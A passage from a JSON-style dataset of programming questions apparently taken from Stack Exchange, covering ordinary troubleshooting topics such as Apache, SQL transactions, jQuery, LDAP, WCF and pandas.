error.\nfaultactor=\ndetail=Connector:Unspecified HTTP error. HRESULT=0x800A1518 -
Client:An unanticipated error occurred during the processing of this request.
HRESULT=0x800A1518 - Client:Sending the Soap message failed or no recognizable
response was received HRESULT=0x800A1518 - Client:Unspecified client error.
HRESULT=0x800A1518\n", "", "iis sharepoint sharepoint-services"], "619754": ["Best
way to troubleshoot apache not starting?", "We have recently gotten a backup server
to mirror all our data onto in case the primary server goes down.\nI've gotten all
the sites data updated through rsync, and all the apache config and databases
updated. Both machines are on Ubuntu 9 (9.04 on the primary, 9.10 on the backup).\
nSo everything seems synced up for the most part at this point (still need to
figure out user syncing), and I try to start Apache. I get\n\nNothing else
indicating what the problem could be.\nI know I don't have enough info to expect a
solution from you guys, so I'd just like to know where I can go from here to
further investigate this issue. Would there be any error logs for this?\nThanks!\
n", "* Starting web server apache2 [fail]\n",
"apache2 troubleshooting"], "842147": ["Jquery Anything Slider - Cannot Link to
External Websites", "HI I installed
http://css-tricks.com/examples/AnythingSlider/#panel-4 and it works perfect.\nBut I
cannot link a particular slide to a website. I tried the below code but for
nothing..\nCan someone offer an alternative?\n\nThe html/php parses good in the
browser... so thats not the issue..\nDoes this support links ?\n", "<li
style=\"width: 650px; height: 270px; class=\"panel\">\n <a href=\"'.
$slide['link'].'\">\n <img alt=\"'.$slide['alt'].'\"
src=\"images/home_slideshow/'.$slide['img'].'\"\n style=\"width: 100%;
height: 100%;\">\n </a>\n</li>\n", "php javascript jquery plugins slider"],
"3937021": ["Production log not working", "In the past I thought I was just crazy.
I may be, but my production log is not at all responding to some requests. I am
POSTing images to my rails app from a mobile client, then GETting a refreshed view
in a web browser. The changed record is plainly visible. None of the above is
showing up in my production log, but similar requests were logged an hour ago. I
haven't changed any config files. I haven't restarted my server. Any suggestions as
to why this is happening?\n", "", "ruby-on-rails-3 logging xmlhttprequest"],
"5991722": ["Truncate Table Within Transaction", "Can the SQL \"truncate table\"
command be used within a transaction? I am creating an app and my table has a ton
of records. I want to delete all the records, but if the app fails I was to
rollback my transaction. Deleting each record takes a very long time. I'm
wondering if I use truncate table, can I still rollback the transaction and get my
data back in the event of a failure. I realize that truncate table doesn't write
each delete to the transaction log, but I'm wondering if it writes the page
deallocation to the log so that rollback works. \n", "", "sql sql-server
transactions truncate"], "4398024": ["Away3d 4, creating a flat shaded material",
"I'm currently trying to create a \"flat\" shaded ColorMaterial inside of Away3d 4
to use as a mesh on a loaded .obj file.\nThis is a screenshot of what I'm trying to
achieve. The flat shaded model is on the left.\n\nI loaded the same .obj file I\
u2019m working with in Away into a program called MeshLab. MeshLab has two settings
for Render Mode, flat or smooth.\nThe Flat render mode is on the left and smooth is
on the right. When I load my .obj into Away3D the result looks exactly like
MeshLab\u2019s smooth render mode.\nIn order to get a flat result I\u2019ve tried
to set the smooth flag on my ColorMaterial to false but that doesn\u2019t seem to
change anything.\nhttp://away3d.com/livedocs/away3d/4.0/away3d/materials/
MaterialBase.html\nI\u2019m now starting to look into the materials shadowMethod
because I was able to find a smooth boolean on ShadingMethodBase although I\u2019m
honestly not sure if this is where you would handle
this.\nhttp://away3d.com/livedocs/away3d/4.0/away3d/materials/DefaultMaterialBase.h
tml#shadowMethod\nhttp://away3d.com/livedocs/away3d/4.0/away3d/materials/methods/
ShadingMethodBase.html\nBelow is the code for creating my light and light picker,\
n\nAnd this is my material, I've tried playing around with most of it's
properties:\n\nCan anyone help point me in the right direction?\nThanks!\n", "dL =
new DirectionalLight();\ndL.diffuse = 20;\ndL.ambient=.6;\ndL.specular=15\n\
nscene.addChild(dL);\n\nlightPicker= new StaticLightPicker([dL]);\ndL.direction =
new Vector3D(0,1,-2); \n", "actionscript-3 away3d"], "2720854": ["Dotnetnuke
content staging update count keeps growing by time", "After I set up the content
staging with exact copy of live site, I changed the modules the workflow settings
sitewide. Now the count of module updates available keep growing for the past 12
hours. Is there something wrong? \n", "", "dotnetnuke"], "660323": ["Problem in
updating an XML file using PHP DOMDocument();", "I am trying to write a function
that updates the Site Map of a website or technically adds an entry to sitemap.xml
file. The standard structure of a Google sitemap can be seen here:
http://www.sitemappro.com/google-sitemap.html \nFollowing is the code of that
function:\n\nThe above code is not working and giving this error:\n\"Fatal error:
Uncaught exception 'DOMException' with message 'Invalid Character Error' in...\"\
nCan you please help by correcting my code? Thanks in advance.\n", "function
AddEntry($loc,$lastmod,$changefreq,$priority){\n\n$xmlDoc = new DOMDocument();\
n$xmlDoc->load(\"sitemap.xml\"); \n\n\n$url []=array('loc' => $loc, 'lastmod' =>
$lastmod, 'changefreq'=> $changefreq, 'priority' =>$priority );\n\n$r=$xmlDoc-
>createElement(\"url\");\n\n$xmlDoc->appendChild($r);\n\nforeach($url as
$key=>$value)\n{\n $r->appendChild($xmlDoc->createElement($key))-
>appendChild($xmlDoc->createTextNode($value));\n\n}\n\n$xmlDoc->save();\n}\n", "php
xml domdocument"], "1856377": ["Font size is different on the Contents page", "I
use class and got some problems with ToC. \nChapter style defined as:\n\nBut when
ToC is created, the chapter style is defferent: the font is smaller, the has no
space before and sticks to letters. How can the style of ToC be fixed to be the
same as my main chapterstyle?\n", "memoir", "fonts table-of-contents memoir"],
"4453703": ["ldap exchange 2003 code 49 - ERROR_PASSWORD_MUST_CHANGE", "I am trying
to write a function to allow a user to reset their password when they must change
their password (code 49 - ERROR_PASSWORD_MUST_CHANGE).\nI ask for their username,
current password, then enter a new password and confirm the new password.\nA side
note, I noticed when I tried logging into an application that uses ldap
authentication, it does not allow them in. This leads me to believe that
ERROR_PASSWORD_MUST_CHANGE somehow interrupts the authentication process.\nFor them
to reset their password, they would need to authenticate with their current
password (which verifies them as being the actual owner of that account), but it
will fail.\nI know I could use an admin account to make the password change, but it
never verifies the user being the actual owner of the account since it does not
care what their current password is.\nI plan on writing this in php, not sure if
this matters, but I'm learning more about the \"gotchas\" of ldap and any help is
appreciated.\nUPDATE: I found \"hack\" to get this to work. If ldap returns the
code number for pwdLastSet being 0, then you set the pwdLastSet using an admin
account to -1, then they will be able to authenticate to ldap, to reset their
password.\nUpdate: Answered the question with how do to that in php here
http://stackoverflow.com/questions/15084506/adldap-user-must-change-password/
16109623#16109623\n", "", "passwords php exchange ldap exchange-2003"], "5165484":
["How to read the weight from a Weight USB Scale", "I have a USB weighing
from stamps.com (Model 510: http://www.stamps.com/postage-online/digital-postage-
scales/) \nI was able to find the drivers to make it stand alone online, but my
next question is how do I read the weight of the object on the scale in my classic
ASP page / VBScript.\nDoes anyone have any suggestions where I should begin my
search? \n", "", "asp-classic vbscript usb serial-port"], "3575832": ["Install
System/Other apps on iphone simulator", "By default when we start iPhone simulator
it has only few apps installed. \nIs it possible to install other system apps (such
as phone, text, map etc) OR or other native apps (such as facebook etc) on my
simulator? \n", "", "iphone ios x86 arm simulator"], "2793426": ["Form's
cleaned_data is empty but formset's cleaned_data isnt?", "I am trying to use the
String values from a CharField in each form of a formset, however for some reason
the cleaned_data for each form always appeares empty while the formset's cleaned
data is not. Here is the code from my views.py:\n\nwhere my form looks like this:\
n\nAs I've said before, the tags_formset.cleaned data contains the correct
information as entered on the page, however the form's cleaned data is empty. This
code gives me a KeyValue error saying 'tags' isn't in the cleaned data as it has
nothing in it (error thrown in saveTags function).\n", " TagsFormSet =
formset_factory(TagsForm, formset=TagFormSet, extra=applicantQuery.count())\n if
request.method == 'POST':\n tags_formset = TagsFormSet(request.POST,
request.FILES, prefix='tags', applicants=applicantQuery)\n if
tags_formset.is_valid():\n for tagForm in tags_formset.forms:\n
tagForm.saveTags()\n", "django forms django-forms formsets cleaned-data"],
"688289": ["ASP.NET error after uploading project to server", "after uploading my
project to server i am getting following error please let me know what is the
following error\n\nCS0433: The type 'Course' exists in both 'c:\\WINDOWS\\
Microsoft.NET\\Framework\\v2.0.50727\\Temporary ASP.NET Files\\root\\672b2bdf\\
9fb2ad98\\assembly\\dl3\\afaf3b67\\f1871969_3e5bcb01\\App_Code.DLL' and 'c:\\
WINDOWS\\Microsoft.NET\\Framework\\v2.0.50727\\Temporary ASP.NET Files\\root\\
672b2bdf\\9fb2ad98\\assembly\\dl3\\29fd4e0e\\f1751c7e_3e5bcb01\\
App_Web_spb4jssk.DLL'\n\nand \n\nand\n\n", "Line 111:
[System.Runtime.CompilerServices.CompilerGlobalScopeAttribute()]\nLine 112:
public class admin_course_aspx : global::Course,
System.Web.SessionState.IRequiresSessionState, System.Web.IHttpHandler {\nLine 113:
\nLine 114: private static bool @__initialized\n", "asp.net iis"], "2268776":
["How can I graph the # of emails I receive per day", "Ideally I'd like to do this
in Outlook. \nI'd like to find a way to look at the # of emails I get in my inbox
for each day. This does not have to be real time. \n", "", "email microsoft-outlook
microsoft-outlook-2010 email-client"], "1054306": ["How could we found one exe file
is .Net exe or regular exe?", "\nPossible Duplicate:\nHow do I tell if a win32
application uses the .NET runtime \n\nI have a file name, and I check this file
exist in current directory, my problem is I want to know this file( the file is
executable) is .Net exe or regular exe.\n", "", ".net file exe"], "4737667":
["Jquery lightbox2 recognising text in a new div as link to open up lightbox
image?", "so first things first, i am not particularly skilled at coding and do my
websites in Dreamweaver, implementing javascript and jquery along the way to tart
it up.\nIf you go to my new website http://matthewtitley.com (its just one long
page), and scroll down to the 'About' box, you will see that the text is clickable
and when clicked it opens up the lightbox image from the gallery above it. As i'm,
ahem, not great at coding, could one of you great guys or gals help me out. What
causes this? And how can i stop it?\nI apologize if you cannot see js or css files
as most are linked to the html page...let me know if u cannot see them and i can
add them to this question.\nThx...\n", "", "lightbox"], "2744620": ["ASP.NET
Session and Cookies in Multi-tenant application", "I'm working on a multi-tenant
ASP.NET MVC application.\nSo far we have been using HttpContext to store a few
objects for the request (technically partitioned by tenant).\nHowever, we will need
to use TempData (uses Session) and set authentication cookies.\nOur spec:\n\nA
tenant can have multiple urls (tenant1.myapp.com or mycustomdomain.com)\
nAuthentication cookies should NOT be shared by tenants\nIdeally, a tenant's
authentication cookie should be shared by any one of their urls\n\nIs Session
domain aware? It seems to be.\nCan I set multiple domains on an authentication
cookie?\nAdvice on anything else that may catch me out would be appreciated. Really
I just need to understand what needs to be partitioned for each tenant (up to now
I've partitioned the file system, database and cache per tenant).\nThanks\nBen\n",
"", "asp.net asp.net-mvc multi-tenant"], "3436702": ["rspec test result from
csv.read mocking file", "I'm using ruby 1.9 and I'm trying to do BDD. My first test
'should read in the csv' works, but the second where I require a file object to be
mocked doesn't.\nHere is my model spec:\n\nHere is the code so far:\n\nI basically
want to mock a file so that when the CSV method tries to read from the file it
returns my data variable. Then I can test if it equals my result variable.\n",
"require 'spec_helper'\n\ndescribe Person do\n describe \"Importing data\" do\n
let(:person) { Person.new }\n\n let(:data) { \"title\\tsurname\\tfirstname\\t\\
rtitle2\\tsurname2\\tfirstname2\\t\\r\"}\n let(:result)
{[[\"title\",\"surname\",\"firstname\"],
[\"title2\",\"surname2\",\"firstname2\"]] }\n\n it \"should read in the csv\"
do\n CSV.should_receive(:read).\n with(\"filename\", :row_sep => \"\\
r\", :col_sep => \"\\t\")\n person.import(\"filename\")\n end\n\n
it \"should have result\" do\n filename = mock(File, :exists? => true, :read
=> data)\n person.import(filename).should eq(result)\n end\n end\nend\n",
"ruby-on-rails file mocking rspec rspec2"], "4085828": ["How do I get a reference
to an element of an array in D?", "I have this D-code for reading data from a
file:\n\nAs you can see, the lines are getting quiet long and I keep repeating .
It's not a big deal, but I tried to shorten that and write:\n\nThis results in all
the element members being .\nSo: Is it possible to get a reference to array
elements?\n", "int foo (SomeStruct[] somestruct_array)\n{\n // get file_handle...\
n for (uint i = 0; i < 1000; i++) {\n file_handle.readf (\"%e %e %e %e %e %e\\
n\",\n &(somestruct_array[i].pos_x), &(somestruct_array[i].pos_y),\n
&(somestruct_array[i].pos_z), &(somestruct_array[i].vel_x),\n
&(somestruct_array[i].vel_y), &(somestruct_array[i].vel_z));\n }\n return 0;\n}\
n", "arrays reference pass-by-reference d"], "2182695": ["jQuery UI draggable event
handling", "I want to stop the revert event on a draggable element if that element
has been dropped on a valid droppable object. How do I stop the revert from
happening?\n", "", "jquery jquery-ui event-handling jquery-ui-draggable"],
"5935684": ["CSF Log Watching", "I run suphp so the uid of scripts is for the user
not the webserver. My log files are also in /home/$user/logs/error.log \nCSF only
monitors \n/var/log/apache2/error.log\nHowever because of my setup i dont think the
logs go here so how do I add my user's log files to be monitored by CSF firewall.\
n", "", "logging suphp csf"], "120886": ["BeautifulSoup installed but not
recognized when dev_appserver runs", "Update \n\nThanks @Ned Deily, that took along
time, but was fruitful \nIgnore from here\nI have just one instance of python 2.5
installed with BeautifulSoup, still no luck!, what I am I doing wrong, please help
\n\nIgnore from here\nI removed all versions of python from macport and system and
re installed the python 2.7 version \n\nand all the paths also look good \n\nand
have just one version of python that has both and installed \n\nbut still when I
run it says it can not import module \nPlease help \nThank you \nIgnore from
below\nI have BeautifulSoup installed on my mac and I can do the following: \n\
nbut when I run my djando app and try to run the code, it fails saying \n\nIt
seems I am using everything correctly \n\nHow can I resolve this issue\nThanks\n",
"By adding BeautifulSoup.py to my app source, this error was gone :) \n", "python
django beautifulsoup"], "5239327": ["thread syncronization - writer priority
locks", "So, I am using C on a unix system and have access to the pthreads &
semaphore.h libraries. \nHere is the problem (I believe this boils down to
a \"writer priority rw lock\" problem):\nFor simplicities sake, I have two
different processes that a thread can run: A & B.\nB is more important than A, and
thus if there is ever a B waiting to run, I do not want any more A processes to
start executing until all of the B processes have run. Additionally, while multiple
A processes can run concurrently, only 1 B process can execute at a time.\nThe
current way I am doing this (which I believe to either be wrong, inefficient, or
both) is to have the B processes require a lock for their entire execution time and
the A processes will acquire and immediately release the lock at the beginning of
their execution. I am also using semaphores here to allow for the
multi-reader/single writer functionality.\nFor various reasons, the pthread_rwlock
functionality is not usable on this system, so the solution can't involve them. \
n", "", "c synchronization pthreads"], "1519029": ["How to test if a vpn has been
established correctly between two pc's?", "I'm trying to connect two pc's using
IPsec and StrongSwan.\nThe first pc, which I want it to
be the server runs openSUSE and the client pc runs Fedora.\nSo after installing
StrongSwan in the first pc what kind of test can i do to see if there is a tunnel
between the client and the server? For example could I send a file from the client
to the server, apart from just ping one another.\n", "", "linux vpn fedora ipsec
opensuse"], "1675217": ["gcov filter result and files", "i'm using eclipse indigo
with linux tools. one of the tools is plugin of gcov.\ni have a project which is
statis lib (dot a file) and another project that is a unit test that link with this
lib and invoke its methods.\nin both projects i added the compilation flags -
fprofile-arcs -ftest-coverage and in the excutable project i added also a link with
gcov lib (-lgcov).\nthe results was fine, but i got a lot of functions that seems
to be of the system and not mine. like boost, basic_cstring and other not-mine
code.\ni want to ask how can i filter everything that is not mine. i'm interested
only in the code that i wrote and not that the strcpy runs on all paths.\ncan i do
it?\nthanks in advance!\n", "", "linux eclipse code-coverage gcov"], "395842":
["Why BigText plugin only works with static html?", "I'm using BigText plugin, and
I have a little issue. I hope to be clear:\nThe text of the divs which are seted on
the air does not fit until the window is resized...\nThis fiddle speaks for
itself.\nJS\n\nHTML\n\nCSS\n\nAny tip or advice will be appreciated. And if you
need more info, let me know and I'll edit the post.\n", "$(document).ready(function
() {\n // doesn't works\n $(\".span4\").bigtext({\n childSelector: '>
#fae'\n });\n\n $(\"#fae\").text(\"abc\");\n\n //works\n $
(\".span4:first\").bigtext({\n childSelector: '> #wer'\n });\n});\n",
"jquery css css3 jquery-plugins responsive-design"], "3429167": ["Retrieve
IDXGISurface from ID2D1BitmapBrush", "My application uses 2
DXGISurfaceRenderTargets. \nThe 1st render target is used to create , then from
it.\nResulting is used to FillGeometry on the 2nd render target.\nIs it possible
to retrieve that was used to create from the or the ?\nWindows 8 has with
method, but I need this on Windows 7.\nThank you.\n", "ID2D1Bitmap", "directx
direct2d"], "4861422": ["How can an OpenVPN server be setup to use multiple
certificates?", "The OpenVPN documentation sets up a single certificate from a
single CA to be used for all clients. Is there a way to set the server to enable
multiple certificates from different CAs so long as the clients have valid
certificates from trusted authorities?\n", "", "openvpn certificate certificate-
authority multiple"], "59617": ["How to capture mouse click with javascript when
the mouse has moved between mousedown and mouseup", "I am building a website with a
scrolling javascript time line, using code from this tutorial. There is a demo to
go with the tutorial here. \nMy problem is as follows: if the user clicks on the
timeline to drag it, and they happen to click on a link, then when the mouse button
is released, the browser interprets that as a click on the link. Hence, it's very
easy to navigate away from the timeline by accident.\nThe behaviour I would like is
as follows: clicking on a link only triggers navigation if the mouse has not been
moved between mousedown and mouseup. If the mouse has been moved while the button
is held down, then the link is not followed, since the user is trying to move the
timeline rather than click on a link.\nIs this possible? I have a feeling we need a
is_mouse_moved boolean variable that is set to false on mousedown and set to true
on mousemove. Then on mouseup we check whether to \"pass on\" the mouseup event to
the browser. As you can tell, I'm not overly familiar with js!\nAny help
appreciated.\n", "", "javascript jquery javascript-events mouseevent"], "5991721":
["My tray icon looks bad during Remote Desktop Connection (Windows XP)", "I'm
writing a Windows app that has a tray icon (displayed next to the system clock).
The icon itself looks nice if I run it on Windows XP in a normal (console) session,
but when I connect to the same Windows XP machine using Remote Desktop Connection
the tray icon looks bad\u2014with jagged edges on the side. Note that the rest of
the tray icons look fine, it's just mine that looks crappy. So what is the secret
here?\n", "", "winapi icons remote-desktop system-tray"], "2457624":
["Encoding::InvalidByteSequenceError with cucumber", "I have a project I'm trying
to set up on a Continuous Integration server, that is running Bamboo. Everything's
been going great until I try to run cucumber tests, where I get this error:\n\nNow,
I've googled and googled on this and everyone's solutions seem to be to do export
LANG=en_US.utf8 and it suddenly works. Not in my case. \nI've tried all of the
suggestions that I've seen so far in google searches, between different forums,
github issues, etc. Nothing seems to work, and I can't pin it down to anything.
Cucumber of course works on both my mac and my linux desktop for this project, and
as near as I can tell, has the same locale settings.\nHere's my locale -a, if it
helps. If you need something else, ask away.\n\n", "RAILS_ENV=test bundle exec
cucumber \n/home/BAMBOO/bamboo-home/xml-data/build-dir/LIMS-PLAN-JOB1/\nvendor/
bundle/ruby/1.9.1/gems/json-1.7.5/lib/json/common.rb:155:in \n`encode': \"\\xD8\"
on US-ASCII (Encoding::InvalidByteSequenceError)\n", "ruby-on-rails json
cucumber"], "3584593": ["WCF async pattern Begin/End with tasks block the GUI of
the client", "I have an async method in a WCF service, and a client that consume
this method. When I call the method, the GUI of the client is blocked until the
async method finish. My code is the following:\nSERVICE\n\nslowMethod is a dummy
method with a for from i = 0 to 1000000000.\nCLIENT\n\nIn the client, I have a
button that calls the callAsyncMethod, and when I click the button, the GUI gets
bloked while the slowMethod is running.\nIf I am not wrong, the async methods
return the control to the caller to avoid the program was blocked, but in my case
this does not occur. have I misunderstood something? I am using in the wrong way
the async methods?\nThanks.\nDaimroc.\n", "public IAsyncResult
BeginAsyncMethod(CustomClass paramCustomClass, AsyncCallback callback, object
state)\n { \n Task<bool> task =
Task<bool>.Factory.StartNew(p => slowMethod(paramCustomClass, state);\n
return task.ContinueWith(res => callback(task));\n }\n\n\npublic bool
EndAsyncMethod(IAsyncResult paramResult)\n {\n return
((Task<bool>)paramResult).Result;\n }\n", "wcf asynchronous client task"],
"4817448": ["Interlinking in pages from Admin backend wordpress 3.1", "I want to do
interlinking within wordpress pages and say my URL is www.test.com for example and
i have www.test.com/p1 www.test.com/p2 and www.test.com/p3 pages and I want to add
p1 and p2 links in p3 from admin side.. right now, I just insert and same for p2..
but if my permanlink changes than i need to change content again.. Is there any
solution to this.. so I can able to insert just ID of page with and it will
convert it automatically to link.\n", "", "wordpress hyperlink page"], "357226":
["Use Facebook FQL to select the work information from the profile", "I would like
to get work place information of a using FQL.\nWhen I use the Graph API and get
the object, it contains information, which is essentially a list of the work
history. The list elements contain nodes of , , , etc...\nThe nodes appear to be
pages internally. If I take the id of a node, e.g. from the employer, and use FQL
to query a with that , I do get an object with corresponding information.\nMy
question now is, how do I use FQL to get the same information without accessing the
Graph API? What table stores the work-related information, for example how do I
find all the of the employers of a given user?\nThe reason I insist on using FQL
only is performance. Of course I could access the Graph API for all the users in
question and get the info that way, but I'm looking for an FQL-only solution.\n",
"user", "facebook facebook-graph-api facebook-fql fql"], "5010347": ["Redirecting
http://www.server.com:portX to http://subdomain.server.com", "I've got outdated
requests coming into a custom port (2104) on my
server.\nhttp://www.server.com:portX \nI've now setup my machine to handle those
requests at:\nhttp://subdomain.server.com:80\nBut how can I redirect old requests
coming in like that? (through httpd magic)\n", "", "redirect port-forwarding
httpd.conf"], "2400305": ["How to forward MultiMap .Net to Java?", "I am currently
working on an application which needs to send MultiMap from .Net to Java. I am
currently using \"org.apache.commons.collections.MultiMap\" in Java to read details
from MultiMap and thinking to use MultiMap class in C# to forward the details
from .Net to Java.\nI would like to forward MultiMap from .Net to Java using
webservice.\nCan I use this approach to forward the details from .Net to Java
(because I need to use one key and multiple values) ?\nIf so, can anyone explain
the procedure to forward the details ?\n", "", "c# java .net web-services
multimap"], "4814629": ["Open Socket, Send Data, Close Socket = Truncated data", "I
am having trouble sending data on a socket from an iphone application I am
developing.\nIn short, i want to connect to a tcp server on a specific port, send a
data payload and then close the socket.\nIt seem like if the socket does not flush
data waiting on the buffer before closing.\nHere is my code:\n\nAll ideas are
appreciated\nJens\n", "int port = 1234;\nCFReadStreamRef readStream;\
nCFWriteStreamRef writeStream;\
nCFStreamCreatePairWithSocketToHost(kCFAllocatorDefault, (CFStringRef)host, port,
&readStream, &writeStream);\nif (readStream && writeStream)
{\n //CFReadStreamSetProperty(readStream,
kCFStreamPropertyShouldCloseNativeSocket, kCFBooleanTrue);\n
CFWriteStreamSetProperty(writeStream, kCFStreamPropertyShouldCloseNativeSocket,
kCFBooleanTrue);\n\n inputStream = (NSInputStream *)readStream;\n
[inputStream retain];\n [inputStream setDelegate:self];\n [inputStream
scheduleInRunLoop:[NSRunLoop currentRunLoop] forMode:NSDefaultRunLoopMode];\n
[inputStream open];\n\n outputStream = (NSOutputStream *)writeStream;\n
[outputStream retain];\n [outputStream setDelegate:self];\n [outputStream
scheduleInRunLoop:[NSRunLoop currentRunLoop] forMode:NSDefaultRunLoopMode];\n
[outputStream open];\n}\n\n[outputStream write:(void *)&len maxLength:4];\
n[outputStream write:[data bytes] maxLength:[data length]];\n\nif (inputStream) {\n
CFReadStreamClose((CFReadStreamRef)inputStream);\n CFRelease(inputStream);\n}\
nif (outputStream) {\n CFWriteStreamClose((CFWriteStreamRef)outputStream);\n
CFRelease(outputStream);\n} \n", "objective-c sockets iphone-sdk-4.0 close
flush"], "3498488": ["Change thickness of TikZ pattern library patterns", "\
nPossible Duplicate:\ncustom and built in tikz fill patterns \n\nIs it possible to
change the thickness of patterns drawn by the TikZ pattern library (IV Libraries,
41 Pattern Library)? Setting on the node, only applies to the node itself, not the
filling pattern.\n\n", "thick", "tikz-pgf"], "5970725": ["Thoughts on creating a
view selector in php", "I'm looking to create a nice way to separate view and
controller in php.\nWhat I'd like to happen is people would go to:
localhost/index.php?view=signup and they would see the whole page with a signup
box.. and NOT a login box.\nI'm wondering if anyone has made this before.. I'm
specifically looking for a elegant way of letting Javascript handle the hides and
shows after php initially loads the page. So maybe something like this: \n\nThe
trick is that I want the default (localhost/index.php) to display everything. So if
?view=.. is not defined then show it all.. I really don't want to clutter my view
with a ton of if statements with isset().. \nLet me know your solutions to this
problem!\nThanks,\nMatt Mueller\n", "<div class=\"login\" style=\"display:<?php
echo $login; ?>;\">\n", "php templates"], "4880035": ["How to force iTunes to use
an external hard drive for storage?", "\nPossible Duplicate:\nhow to redirect
itunes to external hard drive \n\nI want iTunes to store all downloaded files on an
external hard drive. Is that possible? How would I do it?\n", "", "itunes external-
hard-drive download libraries"], "5802905": ["Response.WriteBlock error when using
mootools in server-side ASP JScript", "I've been having a play around with Mootools
1.3 server-side today. Its really nice took some bashing to get it Classic ASP
friendly but still full of goodness (tm).\nWhile showing a friend what Mootools can
do I came across a strange ASP related error that I've not seen before.\n\nThe code
that caused it is one of Mootools funky \"forEach\" helpers:\n\nIt really does not
like this code at all. I commented out the Response.Write and had an empty block
and it still threw the error. Very odd. I know ASP does some optimisation magic to
group html blocks and asp blocks together (hence the Reponse.WriteBlock comment)
but not sure why this would apply here.\nThis code will run however:\n\nHas anyone
got any ideas what is happening to cause this error? I'll keep digging but wondered
if any fellow JScript guys could shed some light. Might just be a ASP quirk?\
n[Update]\nWierdness continues, managed to get it to work but it seems to depend on
what comes before the each loop. So to recap this does NOT work:\n\nBut this does
(notice just the addition of the var line above it):\n\nVery odd indeed. Must be
something to do with the way ASP is treating the blocks, maybe there is a rule in
the parser about blocks starting with an (what it would see as rather random) array
statement or at least its not be programmed to expect me to do that (I don't think
they imagined server side mootools way back when)! Would still like an indepth
explanation though so I can better avoid it.\n", "Microsoft JScript runtime error
'800a138f'\n\n'Response.WriteBlock(...)' is null or not an object\n", "asp-classic
mootools javascript"], "4931997": ["How to check if a Set contains an object which
has one member variable equal to some value", "I have a java Set of Result objects.
My Result class definition looks like this:\n\nI have stored my information in a
database table called Keywords which looks like this\nKeywords = [id, url, title,
keyword, date-time]\nAs you can see there isn't a one-to-one mapping between an
object and a row in the database. I am using SQL (MySQL DB) to extract the values
and have a suitable ResultSet object.\nHow do I check whether the Set already
contains a Result with a given URL.\nIf the set already contains a Result object
with the current URL I simply want to add the extra keyword to the Set of keywords,
otherwise I create a new Result object for adding to the Set of Result objects.\n",
"private String url;\nprivate String title;\nprivate Set<String> keywords;\n",
"java set contains"], "3991570": ["SVG mapping in Qt", "I have a map of a location.
I need to create an SVG file containing different mapped regions. i.e. I want to
define multiple polygons on the map, and have a mapping of their coordinates. Then
what I need to do is be able to manipulate that file in Qt. \nex: I take an image
from google earth and I draw a polygon for my pool, and a polygon for my house.
Using Qt's SVG module, I want to be able to access those polygons I created, along
with their coordinates, like a QGraphicsItem for instance. \nI'm sorry if this is
confusing, let me know if I can clarify. \n", "", "image qt svg mapping"],
"5180603": ["What is involved in adding my own event to WPF controls?", "I'm
constantly having to use TouchDown/TouchUp events here in my WPF project to detect
a 'double-tap'; sometimes on a listbox, sometimes a button, sometimes a telerik
control. How would I go about adding a DoubleTap event and event handler to these
controls? Too big of a job?\n", "", "c# wpf events event-handling touch"],
"5122819": ["Why start project not executing dependent project", "I have created a
new C++ solution (Test.sln) to get file which I need to .\nI have added the in
of . Provided all the paths ().\nBut when building/running the project is not
building/executing .\nPlease help where am I going wrong?\nI am using .\n", "static
lib", "c++ visual-studio-2010 static-libraries"], "5949664": ["How to stop
BaseHTTPServer.serve_forever() in a BaseHTTPRequestHandler subclass?", "I am
running my in a separate thread (using the threading module which has no way to
stop threads...) and want to stop serving requests when the main thread also shuts
down.\nThe Python documentation states that is a subclass of , which supports a
method, but it is missing in .\nThe whole module has very little documentation :(\
n", "HTTPServer", "python http basehttpserver"], "4451379": ["performance of web
app with high number of inserts", "What is the best IO strategy for a high traffic
web app that logs user behaviour on a website and where ALL of the traffic will
result in an IO write? Would it be to write to a file and overnight do batch
inserts to the database? Or to simply do an INSERT (or INSERT DELAYED) per request?
I understand that to consider this problem properly much more detail about the
architecture would be needed, but a nudge in the right direction would be much
appreciated.\n", "", "database performance filesystems"], "3452707": ["Can Cisco
wlan-controllers (nm-air-wlc6) function like a regular fast-ethernet port?", "I
have a Cisco router at school that has a wlan-controller.I connected a wlan-
controller to another fast-ethernet port on another router and configured ip
addresses. Although they are directly connected they are not able to ping each
other. \nI want to know if you can configure it to work as a regular ethernet port.
\n", "", "cisco wlan"], "693520": ["Parse a Pandas column to Datetime", "I have a
with column named . How can we convert/parse the 'date' column to a object?\nI
loaded the date column from a Postgresql database using . An example of the column
is .\nWhat I am trying to do is to select all rows in a dataframe that has their
date columns within a certain period, like after and before .\nMy attempt below
gives the error \nAttempt\n\nError\n\n\n gives me the error \n gives the error \n
returns . Is it already a object?\n", "DataFrame", "python python-2.7 numpy scipy
pandas"], "5318680": ["Visual Studio 2010 error: Type universe cannot resolve
assembly", "I've loaded a WPF project initially created in Visual Studio 2008 into
Visual Studio 2010. The conversion process goes smoothly, but on certain XAML files
the VS2010 designer throws several errors related to project references, including
this one:\n\nSystem.Reflection.Adds.UnresolvedAssemblyException\nType universe
cannot resolve assembly: GalaSoft.MvvmLight, Version=3.0.0.31869, Culture=neutral,
PublicKeyToken=3e875cdb3903c512.\n\nThis assembly reference works just fine in the
Expression Blend 4 designer, but not in VS2010.\nI can build and run the solution
successfully. \nMy solution targets the .Net Framework 3.5 SP1.\n", "", "visual-
studio-2010 mvvm-light"], "698219": ["lookbehind and using it with grep in Vi?",
"Trying to get into Vi (not Vim), after learning Vim.\n\nVim has a lookabehind like
, how to do it in Vi?\nIf I want to search recurvively down directory in Vim, I
could do , what about Vi?\nif (1) and (2) are not available in Vi, how do you
accomplish them?\n\nPlease, create tag and .\n", "/\\(Not this\\)\\@<!$", "vim vi
regular-expression"], "4398027": ["Sex, Crime and Functional Analysis?", "Ever
since a friend told me about this book titled Sex, Crime and Functional Analysis:
Part I. Functional Analysis, I have been looking for a copy of this book, but in
vain.\nSO does this book actually exist or is it just a joke? If it does exist I am
pretty sure someone on Math.SE has read it.\nGEdgar said the book might exist on
the shelf of UCLA library but as pointed out by Nate, the library catalog does not
contain such an entry. \nAnybody from UCLA here?\n", "", "functional-analysis
reference-request soft-question"], "2457626": ["Need to import a large database
(8.8M zipped, 67M unzipped), is it better to use PHP + cron job or something
else?", "General question. One of my sites is on a LAmP server and I need to
